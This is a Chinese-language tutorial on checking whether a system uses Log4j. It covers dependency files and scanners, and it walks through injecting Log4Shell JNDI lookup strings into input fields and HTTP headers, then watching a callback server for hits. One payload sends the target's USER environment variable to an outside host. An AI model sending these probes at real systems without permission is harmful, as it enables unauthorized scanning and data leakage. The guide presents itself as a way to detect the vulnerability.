1. 如何判断一个系统是否使用了 Log4j?
方法 1:检查系统代码或依赖
查看代码:检查系统的代码库,看是否引用了 Log4j。
在 Java 项目中,查找类似org.apache.logging.log4j的依赖。
查看依赖文件:如果项目使用了 Maven 或 Gradle 等依赖管理工具,可以查看pom.xml(Maven)或build.gradle(Gradle)文件,看是否包含 Log4j。
<dependency>
<groupId>org.apache.logging.log4j</groupId>
<artifactId>log4j-core</artifactId>
</dependency>
方法 2:检查日志输出格式
查看系统生成的日志文件。如果日志格式与 Log4j 的配置格式(如%d [%t] %-5p %c - %m%n)相似,可能在使用 Log4j。
日志文件中的错误信息也可能暴露 Log4j 的版本信息。
方法 3:运行时检查
扫描工具:使用自动化工具(如Log4jScanner)扫描系统,检测是否使用了 Log4j 以及其版本。
环境变量:某些系统会通过环境变量显式暴露 Log4j 的配置(如log4j.configurationFile)。
2. 如何通过用户输入判断系统是否使用了 Log4j?
你可以通过向系统输入特殊的测试字符串,观察系统的行为来判断是否存在 Log4j。这种方法模拟了漏洞利用的检测,但仅用于安全测试,不能用于恶意攻击。
原理:
Log4j 的漏洞在于它会解析${}格式的特殊表达式(比如${jndi:ldap://...})。通过输入这些表达式并观察结果,可以推断系统是否使用了 Log4j。
方法:输入测试字符串
输入位置:在系统的输入框或接口中,输入测试字符串。常见输入点包括:
登录表单(用户名、密码字段)。
搜索框。
API 请求参数。
HTTP 请求头(如User-Agent、Referer)。
测试字符串示例:
简单测试:
${jndi:ldap://example.com/test}
加入随机字符串避免被过滤:
${jndi:ldap://example.com/${env:USER}}
观察结果:
如果系统使用 Log4j,可能会尝试解析这些表达式。
你可以通过以下方式检测系统的响应:
网络监控:设置一个测试服务器(如example.com),观察是否有系统访问该服务器。
异常日志:如果系统中出现了解析错误,日志可能会暴露使用了 Log4j。
功能异常:系统可能因为解析错误而报错或表现异常。
3. 详细步骤:测试用户输入
步骤 1:准备测试环境
设置一个可以接收网络请求的服务器,记录所有的访问。可以使用以下工具:
自建一个轻量级的 HTTP 服务器(如 Flask)。
使用在线服务如Burp Collaborator、CanaryTokens或类似工具。
假设服务器地址为test.yourdomain.com。
步骤 2:向系统输入测试字符串
在用户输入的地方输入以下测试字符串:
${jndi:ldap://test.yourdomain.com/test}
搜索框:
搜索内容:${jndi:ldap://test.yourdomain.com/test}
步骤 3:观察服务器访问
如果系统使用了 Log4j,它可能会解析jndi:ldap://test.yourdomain.com/test,并尝试连接到你的测试服务器。
你会在服务器日志中看到访问记录,例如:
GET /test HTTP/1.1 Host: test.yourdomain.com